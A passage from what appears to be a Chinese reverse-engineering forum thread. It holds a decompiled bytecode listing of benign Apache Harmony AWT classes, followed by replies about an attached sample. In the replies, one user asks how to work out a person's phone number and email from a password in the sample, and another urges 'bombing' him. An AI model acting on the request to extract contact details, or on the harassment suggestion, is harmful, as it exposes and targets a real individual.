0000005C  iget-object             v0, p0, DragSourceEventProxy->context:DragSourceContext
00000060  new-instance            v1, DragSourceEvent
00000064  iget-object             v2, p0, DragSourceEventProxy->context:DragSourceContext
00000068  iget                    v3, p0, DragSourceEventProxy->x:I
0000006C  iget                    v4, p0, DragSourceEventProxy->y:I
00000070  invoke-direct           DragSourceEvent-><init>(DragSourceContext, I, I)V, v1, v2, v3, v4
00000076  invoke-virtual          DragSourceContext->dragExit(DragSourceEvent)V, v0, v1
0000007C  goto                    :A
:7E
0000007E  iget-object             v6, p0, DragSourceEventProxy->context:DragSourceContext
00000082  new-instance            v0, DragSourceDropEvent
00000086  iget-object             v1, p0, DragSourceEventProxy->context:DragSourceContext
0000008A  iget                    v2, p0, DragSourceEventProxy->userAction:I
0000008E  iget-boolean            v3, p0, DragSourceEventProxy->success:Z
00000092  iget                    v4, p0, DragSourceEventProxy->x:I
00000096  iget                    v5, p0, DragSourceEventProxy->y:I
0000009A  invoke-direct/range     DragSourceDropEvent-><init>(DragSourceContext, I, Z, I, I)V, v0 .. v5
000000A0  invoke-virtual          DragSourceContext->dragExit(DragSourceEvent)V, v6, v0
000000A6  goto                    :A
000000A8  .packed-switch 0x1
              :C
              :20
              :34
              :48
              :5C
              :7E
          .end packed-switch
.end method

#--------------------------------------------------------------------------------
.class public FlavorsComparator
.super Object
.source ""

.implements Comparator

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public compare(DataFlavor, DataFlavor)I
          .registers 7
00000000  const/4                 v2, 0x0
00000002  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000004  const/4                 v1, 0x1
00000006  invoke-virtual          DataFlavor->isFlavorTextType()Z, p1
0000000C  move-result             v3
0000000E  if-nez                  v3, :22
:12
00000012  invoke-virtual          DataFlavor->isFlavorTextType()Z, p2
00000018  move-result             v3
0000001A  if-nez                  v3, :22
:1E
0000001E  move                    v0, v2
:20
00000020  return                  v0
:22
00000022  invoke-virtual          DataFlavor->isFlavorTextType()Z, p1
00000028  move-result             v3
0000002A  if-nez                  v3, :3A
:2E
0000002E  invoke-virtual          DataFlavor->isFlavorTextType()Z, p2
00000034  move-result             v3
00000036  if-nez                  v3, :20
:3A
0000003A  invoke-virtual          DataFlavor->isFlavorTextType()Z, p1
00000040  move-result             v3
00000042  if-eqz                  v3, :56
:46
00000046  invoke-virtual          DataFlavor->isFlavorTextType()Z, p2
0000004C  move-result             v3
0000004E  if-nez                  v3, :56
:52
00000052  move                    v0, v1
00000054  goto                    :20
:56
00000056  const/4                 v3, 0x2
00000058  new-array               v3, v3, [DataFlavor
0000005C  aput-object             p1, v3, v2
00000060  aput-object             p2, v3, v1
00000064  invoke-static           DataFlavor->selectBestTextFlavor([DataFlavor)DataFlavor, v3
0000006A  move-result-object      v2
0000006C  if-eq                   v2, p1, :20
:70
00000070  move                    v0, v1
00000072  goto                    :20
.end method

.method public volatile bridge synthetic compare(Object, Object)I
          .registers 4
00000000  check-cast              p1, DataFlavor
00000004  check-cast              p2, DataFlavor
00000008  invoke-virtual          FlavorsComparator->compare(DataFlavor, DataFlavor)I, p0, p1, p2
0000000E  move-result             v0
00000010  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public abstract NativeClipboard
.super Clipboard
.source ""

.field protected static final OPS_TIMEOUT:I = 0x2710

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           Clipboard-><init>(String)V, p0, p1
00000006  return-void
.end method

.method public onRestart()V
          .registers 1
00000000  return-void
.end method

.method public onShutdown()V
          .registers 1
00000000  return-void
.end method

#--------------------------------------------------------------------------------
.class public final RawBitmap
.super Object
.source ""

.field public final bMask:I
.field public final bits:I
.field public final buffer:Object
.field public final gMask:I
.field public final height:I
.field public final rMask:I
.field public final stride:I
.field public final width:I

.method public constructor <init>(I, I, I, I, I, I, I, Object)V
          .registers 9
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput                    p1, p0, RawBitmap->width:I
0000000A  iput                    p2, p0, RawBitmap->height:I
0000000E  iput                    p3, p0, RawBitmap->stride:I
00000012  iput                    p4, p0, RawBitmap->bits:I
00000016  iput                    p5, p0, RawBitmap->rMask:I
0000001A  iput                    p6, p0, RawBitmap->gMask:I
0000001E  iput                    p7, p0, RawBitmap->bMask:I
00000022  iput-object             p8, p0, RawBitmap->buffer:Object
00000026  return-void
.end method

.method public constructor <init>([I, Object)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0x0
00000008  aget                    v0, p1, v0
0000000C  iput                    v0, p0, RawBitmap->width:I
00000010  const/4                 v0, 0x1
00000012  aget                    v0, p1, v0
00000016  iput                    v0, p0, RawBitmap->height:I
0000001A  const/4                 v0, 0x2
0000001C  aget                    v0, p1, v0
00000020  iput                    v0, p0, RawBitmap->stride:I
00000024  const/4                 v0, 0x3
00000026  aget                    v0, p1, v0
0000002A  iput                    v0, p0, RawBitmap->bits:I
0000002E  const/4                 v0, 0x4
00000030  aget                    v0, p1, v0
00000034  iput                    v0, p0, RawBitmap->rMask:I
00000038  const/4                 v0, 0x5
0000003A  aget                    v0, p1, v0
0000003E  iput                    v0, p0, RawBitmap->gMask:I
00000042  const/4                 v0, 0x6
00000044  aget                    v0, p1, v0
00000048  iput                    v0, p0, RawBitmap->bMask:I
0000004C  iput-object             p2, p0, RawBitmap->buffer:Object
00000050  return-void
.end method

.method public getHeader()[I
          .registers 4
00000000  const/4                 v0, 0x7
00000002  new-array               v0, v0, [I
00000006  const/4                 v1, 0x0
00000008  iget                    v2, p0, RawBitmap->width:I
0000000C  aput                    v2, v0, v1
00000010  const/4                 v1, 0x1
00000012  iget                    v2, p0, RawBitmap->height:I
00000016  aput                    v2, v0, v1
0000001A  const/4                 v1, 0x2
0000001C  iget                    v2, p0, RawBitmap->stride:I
00000020  aput                    v2, v0, v1
00000024  const/4                 v1, 0x3
00000026  iget                    v2, p0, RawBitmap->bits:I
0000002A  aput                    v2, v0, v1
0000002E  const/4                 v1, 0x4
00000030  iget                    v2, p0, RawBitmap->rMask:I
00000034  aput                    v2, v0, v1
00000038  const/4                 v1, 0x5
0000003A  iget                    v2, p0, RawBitmap->gMask:I
0000003E  aput                    v2, v0, v1
00000042  const/4                 v1, 0x6
00000044  iget                    v2, p0, RawBitmap->bMask:I
00000048  aput                    v2, v0, v1
0000004C  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public TextFlavor
.super Object
.source ""

.field public static final charsetTextClasses:[Class
.field public static final unicodeTextClasses:[Class

.method static constructor <clinit>()V
          .registers 6
00000000  const/4                 v5, 0x3
00000002  const/4                 v4, 0x2
00000004  const/4                 v3, 0x1
00000006  const/4                 v2, 0x0
00000008  const/4                 v0, 0x4
0000000A  new-array               v0, v0, [Class
0000000E  const-class             v1, String
00000012  aput-object             v1, v0, v2
00000016  const-class             v1, Reader
0000001A  aput-object             v1, v0, v3
0000001E  const-class             v1, CharBuffer
00000022  aput-object             v1, v0, v4
00000026  const-class             v1, [C
0000002A  aput-object             v1, v0, v5
0000002E  sput-object             v0, TextFlavor->unicodeTextClasses:[Class
00000032  new-array               v0, v5, [Class
00000036  const-class             v1, InputStream
0000003A  aput-object             v1, v0, v2
0000003E  const-class             v1, ByteBuffer
00000042  aput-object             v1, v0, v3
00000046  const-class             v1, [B
0000004A  aput-object             v1, v0, v4
0000004E  sput-object             v0, TextFlavor->charsetTextClasses:[Class
00000052  return-void
.end method

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public static addCharsetClasses(SystemFlavorMap, String, String, String)V
          .registers 10
00000000  const/4                 v0, 0x0
:2
00000002  sget-object             v1, TextFlavor->charsetTextClasses:[Class
00000006  array-length            v1, v1
00000008  if-lt                   v0, v1, :E
:C
0000000C  return-void
:E
0000000E  new-instance            v1, StringBuilder
00000012  const-string            v2, "text/"
00000016  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000001C  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p2
00000022  move-result-object      v1
00000024  invoke-virtual          StringBuilder->toString()String, v1
0000002A  move-result-object      v1
0000002C  new-instance            v2, StringBuilder
00000030  const-string            v3, ";class=\""
00000034  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000003A  sget-object             v3, TextFlavor->charsetTextClasses:[Class
0000003E  aget-object             v3, v3, v0
00000042  invoke-virtual          Class->getName()String, v3
00000048  move-result-object      v3
0000004A  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000050  move-result-object      v2
00000052  const-string            v3, "\""
00000056  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
0000005C  move-result-object      v2
0000005E  const-string            v3, ";charset=\""
00000062  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000068  move-result-object      v2
0000006A  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, p3
00000070  move-result-object      v2
00000072  const-string            v3, "\""
00000076  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
0000007C  move-result-object      v2
0000007E  invoke-virtual          StringBuilder->toString()String, v2
00000084  move-result-object      v2
00000086  new-instance            v3, DataFlavor
0000008A  new-instance            v4, StringBuilder
0000008E  invoke-static           String->valueOf(Object)String, v1
00000094  move-result-object      v5
00000096  invoke-direct           StringBuilder-><init>(String)V, v4, v5
0000009C  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v2
000000A2  move-result-object      v2
000000A4  invoke-virtual          StringBuilder->toString()String, v2
000000AA  move-result-object      v2
000000AC  invoke-direct           DataFlavor-><init>(String, String)V, v3, v2, v1
000000B2  invoke-virtual          SystemFlavorMap->addFlavorForUnencodedNative(String, DataFlavor)V, p0, p1, v3
000000B8  invoke-virtual          SystemFlavorMap->addUnencodedNativeForFlavor(DataFlavor, String)V, p0, v3, p1
000000BE  add-int/lit8            v0, v0, 0x1
000000C2  goto                    :2
.end method

.method public static addUnicodeClasses(SystemFlavorMap, String, String)V
          .registers 9
00000000  const/4                 v0, 0x0
:2
00000002  sget-object             v1, TextFlavor->unicodeTextClasses:[Class
00000006  array-length            v1, v1
00000008  if-lt                   v0, v1, :E
:C
0000000C  return-void
:E
0000000E  new-instance            v1, StringBuilder
00000012  const-string            v2, "text/"
00000016  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000001C  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p2
00000022  move-result-object      v1
00000024  invoke-virtual          StringBuilder->toString()String, v1
0000002A  move-result-object      v1
0000002C  new-instance            v2, StringBuilder
00000030  const-string            v3, ";class=\""
00000034  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000003A  sget-object             v3, TextFlavor->unicodeTextClasses:[Class
0000003E  aget-object             v3, v3, v0
00000042  invoke-virtual          Class->getName()String, v3
00000048  move-result-object      v3
0000004A  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000050  move-result-object      v2
00000052  const-string            v3, "\""
00000056  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
0000005C  move-result-object      v2
0000005E  invoke-virtual          StringBuilder->toString()String, v2
00000064  move-result-object      v2
00000066  new-instance            v3, DataFlavor
0000006A  new-instance            v4, StringBuilder
0000006E  invoke-static           String->valueOf(Object)String, v1
00000074  move-result-object      v5
00000076  invoke-direct           StringBuilder-><init>(String)V, v4, v5
0000007C  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v2
00000082  move-result-object      v2
00000084  invoke-virtual          StringBuilder->toString()String, v2
0000008A  move-result-object      v2
0000008C  invoke-direct           DataFlavor-><init>(String, String)V, v3, v2, v1
00000092  invoke-virtual          SystemFlavorMap->addFlavorForUnencodedNative(String, DataFlavor)V, p0, p1, v3
00000098  invoke-virtual          SystemFlavorMap->addUnencodedNativeForFlavor(DataFlavor, String)V, p0, v3, p1
0000009E  add-int/lit8            v0, v0, 0x1
000000A2  goto                    :2
.end method

#--------------------------------------------------------------------------------
.class Messages$1
.super Object
.source ""

.implements PrivilegedAction

.field private final synthetic val$loader:ClassLoader
.field private final synthetic val$locale:Locale
.field private final synthetic val$resource:String

.method constructor <init>(String, Locale, ClassLoader)V
          .registers 4
00000000  iput-object             p1, p0, Messages$1->val$resource:String
00000004  iput-object             p2, p0, Messages$1->val$locale:Locale
00000008  iput-object             p3, p0, Messages$1->val$loader:ClassLoader
0000000C  invoke-direct           Object-><init>()V, p0
00000012  return-void
.end method

.method public run()Object
          .registers 4
00000000  iget-object             v1, p0, Messages$1->val$resource:String
00000004  iget-object             v2, p0, Messages$1->val$locale:Locale
00000008  iget-object             v0, p0, Messages$1->val$loader:ClassLoader
0000000C  if-eqz                  v0, :1E
:10
00000010  iget-object             v0, p0, Messages$1->val$loader:ClassLoader
:14
00000014  invoke-static           ResourceBundle->getBundle(String, Locale, ClassLoader)ResourceBundle, v1, v2, v0
0000001A  move-result-object      v0
0000001C  return-object           v0
:1E
0000001E  invoke-static           ClassLoader->getSystemClassLoader()ClassLoader
00000024  move-result-object      v0
00000026  goto                    :14
.end method

#--------------------------------------------------------------------------------
.class public Messages
.super Object
.source ""

.field private static bundle:ResourceBundle

.method static constructor <clinit>()V
          .registers 2
00000000  const/4                 v0, 0x0
00000002  sput-object             v0, Messages->bundle:ResourceBundle
:6
00000006  invoke-static           Locale->getDefault()Locale
0000000C  move-result-object      v0
0000000E  const-string            v1, "org.apache.harmony.awt.internal.nls.messages"
00000012  invoke-static           Messages->setLocale(Locale, String)ResourceBundle, v0, v1
00000018  move-result-object      v0
0000001A  sput-object             v0, Messages->bundle:ResourceBundle
:1E
0000001E  return-void
:20
00000020  move-exception          v0
00000022  invoke-virtual          Throwable->printStackTrace()V, v0
00000028  goto                    :1E
          .catch Throwable {:6 .. :1E} :20
.end method

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public static format(String, [Object)String
          .registers 11
00000000  const/16                v7, 0x7B
00000004  const/4                 v1, 0x0
00000006  new-instance            v2, StringBuilder
0000000A  invoke-virtual          String->length()I, p0
00000010  move-result             v0
00000012  array-length            v3, p1
00000014  mul-int/lit8            v3, v3, 0x14
00000018  add-int/2addr           v0, v3
0000001A  invoke-direct           StringBuilder-><init>(I)V, v2, v0
00000020  array-length            v0, p1
00000022  new-array               v3, v0, [String
00000026  move                    v0, v1
:28
00000028  array-length            v4, p1
0000002A  if-lt                   v0, v4, :66
:2E
0000002E  invoke-virtual          String->indexOf(I, I)I, p0, v7, v1
00000034  move-result             v0
:36
00000036  if-gez                  v0, :8E
:3A
0000003A  invoke-virtual          String->length()I, p0
00000040  move-result             v0
00000042  if-ge                   v1, v0, :5C
:46
00000046  invoke-virtual          String->length()I, p0
0000004C  move-result             v0
0000004E  invoke-virtual          String->substring(I, I)String, p0, v1, v0
00000054  move-result-object      v0
00000056  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
:5C
0000005C  invoke-virtual          StringBuilder->toString()String, v2
00000062  move-result-object      v0
00000064  return-object           v0
:66
00000066  aget-object             v4, p1, v0
0000006A  if-nez                  v4, :7C
:6E
0000006E  const-string            v4, "<null>"
00000072  aput-object             v4, v3, v0
:76
00000076  add-int/lit8            v0, v0, 0x1
0000007A  goto                    :28
:7C
0000007C  aget-object             v4, p1, v0
00000080  invoke-virtual          Object->toString()String, v4
00000086  move-result-object      v4
00000088  aput-object             v4, v3, v0
0000008C  goto                    :76
:8E
0000008E  if-eqz                  v0, :D8
:92
00000092  add-int/lit8            v4, v0, 0xFFFFFFFFFFFFFFFF
00000096  invoke-virtual          String->charAt(I)C, p0, v4
0000009C  move-result             v4
0000009E  const/16                v5, 0x5C
000000A2  if-ne                   v4, v5, :D8
:A6
000000A6  const/4                 v4, 0x1
000000A8  if-eq                   v0, v4, :BE
:AC
000000AC  add-int/lit8            v4, v0, 0xFFFFFFFFFFFFFFFF
000000B0  invoke-virtual          String->substring(I, I)String, p0, v1, v4
000000B6  move-result-object      v1
000000B8  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
:BE
000000BE  invoke-virtual          StringBuilder->append(C)StringBuilder, v2, v7
000000C4  add-int/lit8            v0, v0, 0x1
:C8
000000C8  invoke-virtual          String->indexOf(I, I)I, p0, v7, v0
000000CE  move-result             v1
000000D0  move                    v8, v1
000000D2  move                    v1, v0
000000D4  move                    v0, v8
000000D6  goto                    :36
:D8
000000D8  invoke-virtual          String->length()I, p0
000000DE  move-result             v4
000000E0  add-int/lit8            v4, v4, 0xFFFFFFFFFFFFFFFD
000000E4  if-le                   v0, v4, :108
:E8
000000E8  invoke-virtual          String->length()I, p0
000000EE  move-result             v0
000000F0  invoke-virtual          String->substring(I, I)String, p0, v1, v0
000000F6  move-result-object      v0
000000F8  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
000000FE  invoke-virtual          String->length()I, p0
00000104  move-result             v0
00000106  goto                    :C8
:108
00000108  add-int/lit8            v4, v0, 0x1
0000010C  invoke-virtual          String->charAt(I)C, p0, v4
00000112  move-result             v4
00000114  const/16                v5, 0xA
00000118  invoke-static           Character->digit(C, I)I, v4, v5
0000011E  move-result             v4
00000120  int-to-byte             v4, v4
00000122  if-ltz                  v4, :13A
:126
00000126  add-int/lit8            v5, v0, 0x2
0000012A  invoke-virtual          String->charAt(I)C, p0, v5
00000130  move-result             v5
00000132  const/16                v6, 0x7D
00000136  if-eq                   v5, v6, :152
:13A
0000013A  add-int/lit8            v4, v0, 0x1
0000013E  invoke-virtual          String->substring(I, I)String, p0, v1, v4
00000144  move-result-object      v1
00000146  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
0000014C  add-int/lit8            v0, v0, 0x1
00000150  goto                    :C8
:152
00000152  invoke-virtual          String->substring(I, I)String, p0, v1, v0
00000158  move-result-object      v1
0000015A  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
00000160  array-length            v1, v3
00000162  if-lt                   v4, v1, :176
:166
00000166  const-string            v1, "<missing argument>"
0000016A  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
:170
00000170  add-int/lit8            v0, v0, 0x3
00000174  goto                    :C8
:176
00000176  aget-object             v1, v3, v4
0000017A  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
00000180  goto                    :170
.end method

.method public static getString(String)String
          .registers 3
00000000  sget-object             v0, Messages->bundle:ResourceBundle
00000004  if-nez                  v0, :A
:8
00000008  return-object           p0
:A
0000000A  sget-object             v0, Messages->bundle:ResourceBundle
0000000E  invoke-virtual          ResourceBundle->getString(String)String, v0, p0
:14
00000014  move-result-object      p0
00000016  goto                    :8
:18
00000018  move-exception          v0
0000001A  new-instance            v0, StringBuilder
0000001E  const-string            v1, "Missing message: "
00000022  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000028  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p0
0000002E  move-result-object      v0
00000030  invoke-virtual          StringBuilder->toString()String, v0
00000036  move-result-object      p0
00000038  goto                    :8
          .catch MissingResourceException {:A .. :14} :18
.end method

.method public static getString(String, C)String
          .registers 5
00000000  const/4                 v0, 0x1
00000002  new-array               v0, v0, [Object
00000006  const/4                 v1, 0x0
00000008  invoke-static           String->valueOf(C)String, p1
0000000E  move-result-object      v2
00000010  aput-object             v2, v0, v1
00000014  invoke-static           Messages->getString(String, [Object)String, p0, v0
0000001A  move-result-object      v0
0000001C  return-object           v0
.end method

.method public static getString(String, I)String
          .registers 5
00000000  const/4                 v0, 0x1
00000002  new-array               v0, v0, [Object
00000006  const/4                 v1, 0x0
00000008  invoke-static           Integer->toString(I)String, p1
0000000E  move-result-object      v2
00000010  aput-object             v2, v0, v1
00000014  invoke-static           Messages->getString(String, [Object)String, p0, v0
0000001A  move-result-object      v0
0000001C  return-object           v0
.end method

.method public static getString(String, Object)String
          .registers 4
00000000  const/4                 v0, 0x1
00000002  new-array               v0, v0, [Object
00000006  const/4                 v1, 0x0
00000008  aput-object             p1, v0, v1
0000000C  invoke-static           Messages->getString(String, [Object)String, p0, v0
00000012  move-result-object      v0
00000014  return-object           v0
.end method

.method public static getString(String, Object, Object)String
          .registers 5
00000000  const/4                 v0, 0x2
00000002  new-array               v0, v0, [Object
00000006  const/4                 v1, 0x0
00000008  aput-object             p1, v0, v1
0000000C  const/4                 v1, 0x1
0000000E  aput-object             p2, v0, v1
00000012  invoke-static           Messages->getString(String, [Object)String, p0, v0
00000018  move-result-object      v0
0000001A  return-object           v0
.end method

.method public static getString(String, [Object)String
          .registers 3
00000000  sget-object             v0, Messages->bundle:ResourceBundle
00000004  if-eqz                  v0, :14
:8
00000008  sget-object             v0, Messages->bundle:ResourceBundle
0000000C  invoke-virtual          ResourceBundle->getString(String)String, v0, p0
:12
00000012  move-result-object      p0
:14
00000014  invoke-static           Messages->format(String, [Object)String, p0, p1
0000001A  move-result-object      v0
0000001C  return-object           v0
:1E
0000001E  move-exception          v0
00000020  goto                    :14
          .catch MissingResourceException {:8 .. :12} :1E
.end method

.method public static setLocale(Locale, String)ResourceBundle
          .registers 5
00000000  const/4                 v1, 0x0
00000002  const/4                 v0, 0x0
:4
00000004  new-instance            v2, Messages$1
00000008  invoke-direct           Messages$1-><init>(String, Locale, ClassLoader)V, v2, p1, p0, v0
0000000E  invoke-static           AccessController->doPrivileged(PrivilegedAction)Object, v2
00000014  move-result-object      v0
00000016  check-cast              v0, ResourceBundle
:1A
0000001A  return-object           v0
:1C
0000001C  move-exception          v0
0000001E  move-object             v0, v1
00000020  goto                    :1A
          .catch MissingResourceException {:4 .. :1A} :1C
.end method

#--------------------------------------------------------------------------------
.class public SystemUtils
.super Object
.source ""

.field public static final ARC_IA32:I = 0x1
.field public static final ARC_IA64:I = 0x2
.field public static final ARC_UNKNOWN:I = 0xFFFFFFFF
.field public static final OS_LINUX:I = 0x2
.field public static final OS_UNKNOWN:I = 0xFFFFFFFF
.field public static final OS_WINDOWS:I = 0x1
.field private static arc:I
.field private static os:I

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x0
00000002  sput                    v0, SystemUtils->os:I
00000006  sput                    v0, SystemUtils->arc:I
0000000A  return-void
.end method

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public static getOS()I
          .registers 3
00000000  sget                    v0, SystemUtils->os:I
00000004  if-nez                  v0, :36
:8
00000008  const-string            v0, "os.name"
0000000C  invoke-static           System->getProperty(String)String, v0
00000012  move-result-object      v0
00000014  const/4                 v1, 0x0
00000016  const/4                 v2, 0x3
00000018  invoke-virtual          String->substring(I, I)String, v0, v1, v2
0000001E  move-result-object      v0
00000020  const-string            v1, "win"
00000024  invoke-virtual          String->compareToIgnoreCase(String)I, v0, v1
0000002A  move-result             v1
0000002C  if-nez                  v1, :3C
:30
00000030  const/4                 v0, 0x1
00000032  sput                    v0, SystemUtils->os:I
:36
00000036  sget                    v0, SystemUtils->os:I
0000003A  return                  v0
:3C
0000003C  const-string            v1, "lin"
00000040  invoke-virtual          String->compareToIgnoreCase(String)I, v0, v1
00000046  move-result             v0
00000048  if-nez                  v0, :54
:4C
0000004C  const/4                 v0, 0x2
0000004E  sput                    v0, SystemUtils->os:I
00000052  goto                    :36
:54
00000054  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000056  sput                    v0, SystemUtils->os:I
0000005A  goto                    :36
.end method

#--------------------------------------------------------------------------------
飞雪,我这看了很久帖子这个密码不知道怎么来算他的手机号和邮箱出来的··能否解答下!

123.zip

197.97 KB, 下载次数: 15, 下载积分: 吾爱币 -1 CB

样本

1004468140 发表于 2015-9-9 16:54
Awei破解 发表于 2015-9-9 23:45 来自手机
轰炸他。。
头像被屏蔽
yaojing 发表于 2015-9-10 06:54
提示: 作者被禁止或删除 内容自动屏蔽
KLGZ 发表于 2015-9-10 07:03
向楼主学习
 楼主| 龙飞雪 发表于 2015-9-10 09:33
我是一个穷光蛋 发表于 2015-9-9 22:58
样本在哪呢。!!!!!!1

就在论坛的样本区啊。去找找看看。
zaizai121 发表于 2015-10-26 21:17
谢谢分享,这源码哪里有啊,想拿来研究研究
 楼主| 龙飞雪 发表于 2015-10-26 21:32
zaizai121 发表于 2015-10-26 21:17
谢谢分享,这源码哪里有啊,想拿来研究研究

没有源码啊,那是反编译,还原的结果。
zaizai121 发表于 2015-10-29 19:58
我这也有个APK··想学习下反编,能教下么留下Q398709462
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-28 05:34

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表